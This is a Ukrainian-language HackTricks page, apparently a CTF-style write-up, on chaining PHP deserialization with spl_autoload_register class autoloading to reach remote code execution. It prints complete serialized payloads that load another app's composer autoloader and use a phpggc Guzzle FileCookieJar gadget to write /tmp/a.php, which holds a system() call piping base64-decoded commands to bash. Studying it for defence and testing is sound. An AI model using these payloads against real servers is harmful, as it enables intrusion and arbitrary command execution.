11 KiB
PHP - Десеріалізація + Автозавантаження класів
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
First, you should check what are Автозавантаження класів.
PHP десеріалізація + spl_autoload_register + LFI/Gadget
Ми знаходимося в ситуації, коли знайшли десеріалізацію PHP у веб-додатку без жодної бібліотеки, вразливої до гаджетів всередині phpggc
. Однак у тому ж контейнері була інша веб-додаток composer з вразливими бібліотеками. Тому метою було завантажити завантажувач composer іншого веб-додатку і зловживати ним, щоб завантажити гаджет, який експлуатуватиме цю бібліотеку з гаджетом з веб-додатку, вразливого до десеріалізації.
Кроки:
- Ви знайшли десеріалізацію, і в поточному коді програми немає жодного гаджета
- Ви можете зловживати функцією
spl_autoload_register
на кшталт наступної, щоб завантажити будь-який локальний файл з розширенням.php
- Для цього ви використовуєте десеріалізацію, де ім'я класу буде всередині
$name
. Ви не можете використовувати "/" або "." в імені класу в серіалізованому об'єкті, але код замінює підкреслення ("_") на слеші ("/"). Тож ім'я класу, таке якtmp_passwd
, буде перетворено на/tmp/passwd.php
, і код спробує його завантажити.
Приклад гаджета буде:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Якщо у вас є завантаження файлів і ви можете завантажити файл з розширенням .php
, ви можете безпосередньо зловживати цією функціональністю і отримати вже RCE.
{% endhint %}
У моєму випадку у мене не було нічого подібного, але всередині того ж контейнера була інша веб-сторінка композера з бібліотекою, вразливою до гаджета phpggc
.
- Щоб завантажити цю іншу бібліотеку, спочатку потрібно завантажити завантажувач композера тієї іншої веб-аплікації (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). Знаючи шлях до аплікації, ви можете досягти цього дуже легко за допомогою:
O:28:"www_frontend_vendor_autoload":0:{}
(У моєму випадку завантажувач композера був у/www/frontend/vendor/autoload.php
) - Тепер ви можете завантажити інший завантажувач композера аплікації, тому настав час
згенерувати phpgcc
payload для використання. У моєму випадку я використовувавGuzzle/FW1
, що дозволило мені записувати будь-який файл у файловій системі. - ЗАУВАЖТЕ: згенерований гаджет не працював, щоб він працював, я модифікував цей payload
chain.php
phpggc і встановив всі атрибути класів з приватних на публічні. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень. - Тепер у нас є спосіб завантажити інший завантажувач композера аплікації і мати phpggc payload, який працює, але нам потрібно зробити це в ТІЙ ЖЕ ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується. Для цього я надіслав серіалізований масив з обома об'єктами, як:
- Ви можете побачити спочатку завантажувач, що завантажується, а потім payload
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Тепер ми можемо створити та записати файл, однак користувач не міг записувати в жодну папку всередині веб-сервера. Отже, як ви можете бачити в payload, PHP викликає
system
з деяким base64, який створюється в/tmp/a.php
. Потім ми можемо повторно використовувати перший тип payload, який ми використовували як LFI, щоб завантажити завантажувач composer іншого веб-додатку для завантаження згенерованого/tmp/a.php
файлу. Просто додайте його до гаджета десеріалізації:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Резюме корисного навантаження
- Завантажити автозавантаження композера іншого веб-додатку в тому ж контейнері
- Завантажити гаджет phpggc для зловживання бібліотекою з іншого веб-додатку (первинний веб-додаток, вразливий до десеріалізації, не мав жодного гаджета у своїх бібліотеках)
- Гаджет створить файл з PHP корисним навантаженням у /tmp/a.php з шкідливими командами (користувач веб-додатку не може записувати в жодну папку жодного веб-додатку)
- Остання частина нашого корисного навантаження буде використовувати завантажити згенерований php файл, який виконає команди
Мені потрібно було викликати цю десеріалізацію двічі. У моєму тестуванні, перший раз файл /tmp/a.php
був створений, але не завантажений, а вдруге його було правильно завантажено.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.